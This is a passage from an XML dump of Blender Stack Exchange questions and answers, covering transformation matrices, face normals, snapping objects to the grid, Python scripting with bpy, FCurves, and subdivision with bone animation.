\color{green}0\\&#xA;\color{orange}0 &amp;amp; \color{orange}{\cos{\theta}} &amp;amp; \color{orange}{-\sin{\theta}} &amp;amp; \color{green}0 \\&#xA;\color{orange}0 &amp;amp; \color{orange}{\sin{\theta}} &amp;amp; \color{orange}{\cos{\theta}} &amp;amp; \color{green}0 \\&#xA;\color{green}0 &amp;amp; \color{green}0 &amp;amp; \color{green}0 &amp;amp; \color{green}1\\&#xA;\end{bmatrix}\\&#xA;R_x = &amp;amp;\begin{bmatrix}&#xA;1 &amp;amp; 0 &amp;amp; 0 &amp;amp; 0 \\&#xA;0 &amp;amp; \cos{\theta} &amp;amp; -\sin{\theta} &amp;amp; 0\\&#xA;0 &amp;amp; \sin{\theta} &amp;amp; \cos{\theta} &amp;amp; 0\\&#xA;0 &amp;amp; 0 &amp;amp; 0 &amp;amp; 1&#xA;\end{bmatrix}\\&#xA;R_y = &amp;amp;\begin{bmatrix}&#xA;\cos{\theta} &amp;amp; 0 &amp;amp; \sin{\theta} &amp;amp; 0\\&#xA;0 &amp;amp; 1 &amp;amp; 0 &amp;amp; 0 \\&#xA;-\sin{\theta} &amp;amp; 0 &amp;amp; \cos{\theta} &amp;amp; 0\\&#xA;0 &amp;amp; 0 &amp;amp; 0 &amp;amp; 1&#xA;\end{bmatrix}\\&#xA;R_z = &amp;amp;\begin{bmatrix}&#xA;\cos{\theta} &amp;amp; 0 &amp;amp; -\sin{\theta} &amp;amp; 0\\&#xA;\sin{\theta} &amp;amp; 1 &amp;amp; \cos{\theta} &amp;amp; 0\\&#xA;0 &amp;amp; 0 &amp;amp; 1 &amp;amp; 0\\&#xA;0 &amp;amp; 0 &amp;amp; 0 &amp;amp; 1&#xA;\end{bmatrix}&#xA;\end{aligned}&#xA;$$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A translation vector doesn't fit into this matrix, therefore it is expanded to a 4x4 matrix. This is in order to make translation compatible to the other transformations (This is called &lt;a href=&quot;http://en.wikipedia.org/wiki/Homogeneous_coordinates&quot; rel=&quot;nofollow noreferrer&quot;&gt;Homogeneous coordinates&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$&#xA;\begin{aligned}&#xA;T(d_x, d_y, d_y) &amp;amp;= \begin{bmatrix}&#xA;1 &amp;amp; 0 &amp;amp; 0 &amp;amp; d_x\\&#xA;0 &amp;amp; 1 &amp;amp; 0 &amp;amp; d_y\\&#xA;0 &amp;amp; 0 &amp;amp; 1 &amp;amp; d_z\\&#xA;0 &amp;amp; 0 &amp;amp; 0 &amp;amp; 1\\&#xA;\end{bmatrix}\\&#xA;S(s_x, s_y, s_y) &amp;amp;= \begin{bmatrix}&#xA;s_x &amp;amp; 0 &amp;amp; 0 &amp;amp; 0\\&#xA;0 &amp;amp; s_y &amp;amp; 0 &amp;amp; 0\\&#xA;0 &amp;amp; 0 &amp;amp; s_z &amp;amp; 0\\&#xA;0 &amp;amp; 0 &amp;amp; 0 &amp;amp; 1\\&#xA;\end{bmatrix}&#xA;\end{aligned}&#xA;$$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quaternions are a more complex way to describe rotations which avoids a &lt;a href=&quot;http://en.wikipedia.org/wiki/Gimbal_lock&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Gimbal Lock&lt;/em&gt;&lt;/a&gt;, a situation where you would loose one degree of freedom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1806/what-is-the-order-of-transformations-when-exporting-to-collada&quot;&gt;What is the order of transformations when exporting to Collada?&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/469/could-someone-please-explain-gimbal-lock&quot;&gt;Could someone please explain gimbal lock?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/527/apply-rotation-to-camera/529#529&quot;&gt;Apply rotation to camera?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="5794" LastEditDate="2018-02-22T17:23:25.850" LastActivityDate="2018-02-22T17:23:25.850" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8324" PostTypeId="1" CreationDate="2014-04-04T17:58:28.133" Score="0" ViewCount="24" Body="&lt;p&gt;I have an issue with a part of my model. It looks weird in object mode as well as in a render. Please look at the attached screencaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/El1md.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b3A9p.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oV8cn.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b0bS3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked and all the geometry in and around this problem have all 4 verticies and 4 edges, making one face. this entire section was rebuilt after I forgot to extrude something. The odd thing is that just these two faces look weird but not the surrounding ones that I stitched together in the same manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in ortho views and they are all aligned so it isn't that some verts may be offset.&lt;/p&gt;&#xA;" OwnerUserId="3028" LastEditorUserId="12" LastEditDate="2014-04-04T18:26:41.297" LastActivityDate="2014-04-04T18:26:41.297" Title="Parts of mesh appear dark in 3d view and in render" Tags="&lt;rendering&gt;&lt;mesh&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-04-04T18:25:35.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="8325" PostTypeId="2" ParentId="3606" CreationDate="2014-04-04T18:32:35.117" Score="35" Body="&lt;h2&gt;&lt;strong&gt;Face Normals&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In Blender, each face has 2 sides: one is considered the outside and one is considered the inside. The Face Normal indicates the outside face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender displays faces differently depending on whether or not the normal is facing the viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to view your normals, you can open the Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) and in the Mesh Display section, click on the Face Normals button:     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kY4jf.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;NOTE:&lt;/strong&gt; Vertices also have Normals. You can view those by clicking on the Vertex Normal button here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then flip normals of selected faces while in Edit mode by:&lt;br&gt;&#xA;3D Viewport Header -&gt; Mesh -&gt; Faces -&gt; Flip Normals  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you want to quickly fix all the normals in your mesh, while in Edit mode you can use Recalculate Normals:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;3D Viewport Header -&gt; Mesh -&gt; Normals -&gt; Recalculate Outside (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;)  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;3D Viewport Header -&gt; Mesh -&gt; Normals -&gt; Recalculate Inside (&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;)  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-04T18:46:10.077" LastActivityDate="2014-04-04T18:46:10.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8326" PostTypeId="1" CreationDate="2014-04-04T18:54:37.547" Score="1" ViewCount="1108" Body="&lt;p&gt;I see many examples that attach custom properties to objects eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.mytype = bpy.props.StringProperty()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are the other useful places to put custom properties. In particular I want to store a global to the blend file itself?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; len(dir(bpy.types)) # -&amp;gt; 3282!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see there is a type &lt;code&gt;BlendData&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="1363" LastEditDate="2014-04-06T12:55:54.593" LastActivityDate="2014-04-06T12:57:10.737" Title="Attaching Custom Data to the blend file, scene, objects" Tags="&lt;python&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-06T17:22:24.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="8327" PostTypeId="1" CreationDate="2014-04-04T19:11:55.663" Score="2" ViewCount="1756" Body="&lt;p&gt;I'm looking to make some custom gui elements. Has anyone had success using pyside to use Qt to communicate with Blender?&lt;/p&gt;&#xA;" OwnerUserId="2452" LastActivityDate="2014-09-09T14:37:24.380" Title="Has anyone hooked up PySide to Blender?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8328" PostTypeId="1" AcceptedAnswerId="8330" CreationDate="2014-04-04T20:29:27.763" Score="13" ViewCount="7374" Body="&lt;p&gt;I need to move an entire object, so that one of the faces is exactly at Z=0. What is the best way to do this? Basically, if I could select Grid or 3D Cursor in the Snap To menu, that would be perfect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/k2CgeG9.png&quot; alt=&quot;Imgur&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current workaround is to select the face, copy its Z coordinate, select all, move it all down by that same amount. Is there a faster way?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-04-07T06:06:25.350" Title="Snap face to grid" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;editing&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8329" PostTypeId="2" ParentId="8319" CreationDate="2014-04-04T20:34:56.113" Score="2" Body="&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&lt;p&gt;In Blender Internal you can set &lt;em&gt;object colors&lt;/em&gt; independent of the material.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the object color in &lt;em&gt;Properties &amp;gt; Object &amp;gt; Display&lt;/em&gt; (or with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Object.html#bpy.types.Object.color&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;object.color&lt;/code&gt;&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/co3wp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Object color&lt;/em&gt; for the material in &lt;em&gt;Properties &amp;gt; Material settings &amp;gt; Options&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3UojY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;All these cubes have the same material, but are colored individually via object color:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p8Cxj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;For Cycles, see &lt;a href=&quot;https://blender.stackexchange.com/q/5332/599&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-05T19:47:03.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8330" PostTypeId="2" ParentId="8328" CreationDate="2014-04-04T20:43:05.720" Score="14" Body="&lt;p&gt;You can snap to the grid or the cursor by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, however I'm not sure that is the fastest way in this case.&lt;/p&gt;&#xA;&lt;h1&gt;Method 1&lt;/h1&gt;&#xA;&lt;p&gt;Transform snapping and a guiding plane.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane underneath the object&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Face Snapping&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lRP8E.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; with the object selected and your cursor over the plane:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZBy6C.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Works in object mode and edit mode&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Requires a new object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;May require positioning/snapping the 3D cursor (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;) before hand (to make sure the plane is in the right place).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Method 2&lt;/h1&gt;&#xA;&lt;p&gt;Positioning and snapping to the 3D cursor with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap cursor to face (select face in edit mode and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&amp;gt; Cursor to Selected&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the object origin to the 3D cursor (switch to object mode and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&amp;gt; Origin to Cursor&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the 3D cursor to where you want the face to go (if you want it to go straight down, you can set the Z position of the cursor in &lt;em&gt;3D view &amp;gt; Tool Shelf (&lt;kbd&gt;N&lt;/kbd&gt;) &amp;gt; 3D cursor&lt;/em&gt;. In the gif I snapped it to the center with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, however it's slightly fewer clicks to use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;. Note that &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; will also center the view between all visible objects)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the object to cursor (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&amp;gt; Selected to cursor&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwTuP.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Requires repositioning of object origin&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Only works in object mode (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; works based on the pivot point, so in this case the center of the object would be snapped to the cursor)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Method 3&lt;/h1&gt;&#xA;&lt;p&gt;Snap to grid with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, then increment snap to align with the gird floor.&lt;/p&gt;&#xA;&lt;p&gt;Note that &lt;em&gt;Snap to Grid&lt;/em&gt; will snap to a 3D grid, not the grid floor (though the grid floor is a 2D representation of the same grid which is used for snapping)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M0ZUe.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will snap object to align with grid on X and Y as well.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-07T06:06:25.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8331" PostTypeId="1" AcceptedAnswerId="8338" CreationDate="2014-04-04T21:13:18.393" Score="9" ViewCount="2588" Body="&lt;p&gt;I'm trying to write a new operator which modifies my geometry in some way, but I'm struggling with vertex manipulation. I can get the selected vertices fine and also print the individual components. So, lets say I have a vertex &lt;code&gt;v&lt;/code&gt;. I can get the position of this vertex via &lt;code&gt;v.co&lt;/code&gt;. But when I set a new value for this vertex with my operator it does not redraw in the 3D View. I assign a new value like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v.co = Vector((1,2,3))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like said above the 3D View does not update. I have to quit my operator and navigate in the 3D View to update. What do I have to do to make blender update the 3D View correctly?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastEditorUserId="1363" LastEditDate="2014-04-06T12:25:31.947" LastActivityDate="2016-06-25T19:24:44.980" Title="No redraw after assigning new vertex position with python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8332" PostTypeId="2" ParentId="8328" CreationDate="2014-04-04T22:12:23.420" Score="6" Body="&lt;p&gt;You can enable and use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Drop_to_ground&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Drop to Ground&lt;/em&gt; addon&lt;/a&gt;, it's under the &lt;em&gt;Testing&lt;/em&gt; category. After, that just select the object then the ground plane and press &lt;em&gt;Drop to Ground&lt;/em&gt;. No need to change your object centers or any cumbersome tricks with the &lt;em&gt;3d cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYmeH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-04-04T22:19:41.327" LastActivityDate="2014-04-04T22:19:41.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8333" PostTypeId="1" AcceptedAnswerId="8334" CreationDate="2014-04-04T23:46:34.410" Score="21" ViewCount="9575" Body="&lt;p&gt;Is it possible to toggle child viewport visibility from the parent object in the outliner? (Can viewport visibility be applied hierarchically?)&lt;/p&gt;&#xA;" OwnerUserId="2897" LastEditorUserId="12" LastEditDate="2014-04-05T01:11:55.967" LastActivityDate="2014-04-05T16:01:14.027" Title="Is it possible to toggle child viewport visibility from the parent in the outliner?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;outliner&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8334" PostTypeId="2" ParentId="8333" CreationDate="2014-04-04T23:55:07.620" Score="30" Body="&lt;p&gt;Hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;em&gt;(makes the command recursive)&lt;/em&gt; when toggling the visibility of the parent and it will also apply to all the children in the hierarchy. The same goes for all the other toggle operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can drag over multiple icons and toggle these.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-04-05T16:01:14.027" LastActivityDate="2014-04-05T16:01:14.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8336" PostTypeId="1" CreationDate="2014-04-05T06:04:47.803" Score="1" ViewCount="1053" Body="&lt;p&gt;I have a metal arm object I built, it is using a stainless steel material in cycles. I am looking for a way to &quot;age&quot; it by adding nicks, cuts, damage, and possibly rust on the edges?&lt;/p&gt;&#xA;" OwnerUserId="3035" LastActivityDate="2014-04-05T09:43:45.533" Title="add damage to an object" Tags="&lt;materials&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-04-05T16:01:48.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="8337" PostTypeId="2" ParentId="8293" CreationDate="2014-04-05T07:44:06.833" Score="1" Body="&lt;p&gt;Press &lt;kbd&gt;F8&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F8 is the default shortcut to the &lt;code&gt;Reload Scripts&lt;/code&gt; operator, which as the name suggests will reload all scripts as if blender has just been re-started.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-05T07:44:06.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8338" PostTypeId="2" ParentId="8331" CreationDate="2014-04-05T08:45:45.953" Score="10" Body="&lt;p&gt;If your running the script with the object in edit mode then you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Note that bmesh is the module named bmesh, not an instance of a BMesh.&#xA;# me is an instance of Mesh, again, not an instance of a BMesh.&#xA;bmesh.update_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your running in object mode then you need something that will trigger an update, not sure if this is the best way but&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects.active = bpy.context.scene.objects.active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;triggers an update in the 3dview.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="16082" LastEditDate="2016-06-25T19:24:44.980" LastActivityDate="2016-06-25T19:24:44.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8340" PostTypeId="1" AcceptedAnswerId="8347" CreationDate="2014-04-05T11:40:32.103" Score="2" ViewCount="900" Body="&lt;p&gt;In my script I get access to all selected strips using below code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selection = [ seq for seq in context.scene.sequence_editor.sequences if seq.select and seq.type == 'SPEED' ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this gives me a list of speed effects from the selection. I want to modify (basically remove and insert new) the FCurve for the &lt;code&gt;speed_factor&lt;/code&gt; property.&#xA;However I can't see how can I access the FCurves for this specific property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see than I can access all scene FCurves through &lt;code&gt;bpy.context.scene.animation_data.action.fcurves&lt;/code&gt;. However this seems to have at least two problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't know how to properly create &lt;code&gt;data_path&lt;/code&gt; having only &lt;code&gt;SpeedControlSequence&lt;/code&gt; instance (the only thing I can think of is some string concatenations, but it doesn't sound like right solution),&lt;/li&gt;&#xA;&lt;li&gt;even if I had &lt;code&gt;data_path&lt;/code&gt; value I am looking for I would have to scan through all FCurves for the whole scene to get to the one I want, which doesn't sound very efficient.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I access, modify and replace FCurves if I have specific instance of &lt;code&gt;Sequence&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution seems to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seq = # code to get one sequence instance&#xA;f = None&#xA;for f in bpy.context.scene.animation_data.action.fcurves:&#xA;    if f.data_path == seq.path_from_id(&quot;speed_factor&quot;):&#xA;        break&#xA;else:&#xA;    f = None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it seems to be highly inefficient way of approaching that issue. Is there a better way to do it?&lt;/p&gt;&#xA;" OwnerUserId="1030" LastEditorUserId="1112" LastEditDate="2014-04-05T21:52:24.193" LastActivityDate="2014-05-05T22:49:53.563" Title="How to get to FCurves from specific strip?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8341" PostTypeId="1" AcceptedAnswerId="8615" CreationDate="2014-04-05T19:07:39.850" Score="3" ViewCount="2641" Body="&lt;p&gt;I created simple model with Subdivision Surface modifier and I also added some bones to animate it. Now I need apply the modifier in order to have fully prepared model, but I encountered a problem with animation: before I apply the modifier, the model is animated correctly, i.e. polygons which are near end of animated area are animated fluently, but if apply the modifier and then animate, these parts are transformed exactly as the rest of animated area, which creates ugly glitches. Clearly I need to add some &quot;weight&quot; to vertexes at the end of the area (less then one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is: how can I do it automatically during application of the modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better description, see the image bellow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GpjUz.png&quot; alt=&quot;Image describing the problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top right: original model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top left: model with Subdivision Surface modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom left: correctly transformed model (this is how it looks like and animates if I don't apply the modifier in Blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom right: glitched model (this is how it looks like when I apply the modifier and then animate; note: at the same time this is how it looks like when I switch order of modifiers, which is what I would expect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OS: Windows 7&lt;/li&gt;&#xA;&lt;li&gt;Blender version: 2.70&lt;/li&gt;&#xA;&lt;li&gt;Why I need to apply the modifier: it shouldn't matter why, but because there are people who will try convince me that I don't need that, here you are: I want to animate the model in Unity 3D which animates the model badly - it first applies the modifier and then the animation is glitched. I want the model to be animated in it correctly.&lt;/li&gt;&#xA;&lt;li&gt;Yes, the model is from a tutorial, not my original work (but I created it).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit: requested weights:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5A8UK.png&quot; alt=&quot;Weights of model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description (from top to bottom):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Model without applied modifier.&lt;/li&gt;&#xA;&lt;li&gt;Applied modifier.&lt;/li&gt;&#xA;&lt;li&gt;Applied modifier and rotated with given bone.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3039" LastEditorUserId="2217" LastEditDate="2014-04-17T16:15:19.493" LastActivityDate="2020-05-24T01:55:55.723" Title="How to apply Subdivision Surface for fluent bone animation" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
